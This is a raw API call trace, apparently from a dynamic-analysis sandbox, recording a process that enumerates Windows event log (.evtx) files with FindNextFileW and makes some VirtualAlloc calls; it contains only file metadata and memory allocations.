	[0082.782] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5057bed8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5057bed8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Key Management Service.evtx", cAlternateFileName="KEYMAN~1.EVT")) returned 1
	[0082.782] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1dbd7c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1dbd7c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Client-Licensing-Platform%4Admin.evtx", cAlternateFileName="MICROS~1.EVT")) returned 1
	[0082.783] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca5d836e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca5d836e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx", cAlternateFileName="MICROS~2.EVT")) returned 1
	[0082.783] VirtualAlloc (lpAddress=0xc000488000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000488000
	[0082.783] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9206ac5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9206ac5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xf9c0f529, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx", cAlternateFileName="MICROS~3.EVT")) returned 1
	[0082.783] VirtualAlloc (lpAddress=0xc00048a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00048a000
	[0082.783] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4EXE and DLL.evtx", cAlternateFileName="MICROS~4.EVT")) returned 1
	[0082.783] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4169a7a, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4169a7a, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4MSI and Script.evtx", cAlternateFileName="MI2EEA~1.EVT")) returned 1
	[0082.783] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Deployment.evtx", cAlternateFileName="MI07E1~1.EVT")) returned 1
	[0082.784] VirtualAlloc (lpAddress=0xc00048c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00048c000
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd418fcc3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd418fcc3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx", cAlternateFileName="MI8196~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx", cAlternateFileName="MIE36C~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd389efbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd389efbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Admin.evtx", cAlternateFileName="MIC5CB~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd38c5212, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd38c5212, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppReadiness%4Operational.evtx", cAlternateFileName="MIF8AA~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4143825, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd4143825, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeployment%4Operational.evtx", cAlternateFileName="MI34FE~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x211000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Operational.evtx", cAlternateFileName="MIA24C~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5af3554f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5af3554f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppXDeploymentServer%4Restricted.evtx", cAlternateFileName="MIDBEC~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85798667, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x85798667, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-AppxPackaging%4Operational.evtx", cAlternateFileName="MI54F1~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74d25ab, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74d25ab, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx", cAlternateFileName="MI111F~1.EVT")) returned 1
	[0082.784] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1f96ca4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe1f96ca4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Bits-Client%4Operational.evtx", cAlternateFileName="MI9465~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8783aa15, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8783aa15, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CodeIntegrity%4Operational.evtx", cAlternateFileName="MI03A7~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3c71c5, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3c71c5, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-CoreSystem-SmsRouter-Events%4Operational.evtx", cAlternateFileName="MI5CA2~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx", cAlternateFileName="MI5FD1~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Crypto-DPAPI%4Operational.evtx", cAlternateFileName="MI8BDF~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c3ed420, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x8c3ed420, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceManagement-Enterprise-Diagnostics-Provider%4Admin.evtx", cAlternateFileName="MIAEBD~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cef47f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cef47f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Admin.evtx", cAlternateFileName="MIA726~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc9231, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50cc9231, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-DeviceSetupManager%4Operational.evtx", cAlternateFileName="MI08CB~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc967f17e, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc967f17e, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcp-Client%4Admin.evtx", cAlternateFileName="MI8270~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc96cb64b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc96cb64b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Dhcpv6-Client%4Admin.evtx", cAlternateFileName="MIEBFF~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca64aa7b, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xca64aa7b, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnosis-DPS%4Operational.evtx", cAlternateFileName="MI9F85~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd9ec80, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xfd9ec80, ftLastAccessTime.dwHighDateTime=0x1d1a04f, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Diagnostics-Performance%4Operational.evtx", cAlternateFileName="MIBE3D~1.EVT")) returned 1
	[0082.785] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9658ef3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9658ef3, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-GroupPolicy%4Operational.evtx", cAlternateFileName="MIE38D~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9dcc480, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc9dcc480, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-HotspotAuth%4Operational.evtx", cAlternateFileName="MIE386~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b4bacf, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50b4bacf, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", cAlternateFileName="MI6B25~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb66288f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb66288f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-International%4Operational.evtx", cAlternateFileName="MI854A~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x506ad1ac, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x506ad1ac, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Boot%4Operational.evtx", cAlternateFileName="MI32CE~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50ca2fbd, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50ca2fbd, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", cAlternateFileName="MIA934~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5071f8b0, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5071f8b0, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-PnP%4Configuration.evtx", cAlternateFileName="MIB32D~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8ebf6d7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc8ebf6d7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx", cAlternateFileName="MICA77~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5090f75d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5090f75d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx", cAlternateFileName="MI1E8D~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd75102f, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd75102f, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-StoreMgr%4Operational.evtx", cAlternateFileName="MID067~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Errors.evtx", cAlternateFileName="MIDE4D~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50be4414, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50be4414, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Kernel-WHEA%4Operational.evtx", cAlternateFileName="MI36C5~1.EVT")) returned 1
	[0082.786] FindNextFileW (in: hFindFile=0x1619f39dce0, lpFindFileData=0xc0000318d8 | out: lpFindFileData=0xc0000318d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59547c37, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x59547c37, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Known Folders API Service.evtx", cAlternateFileName="MI86D6~1.EVT")) returned 1
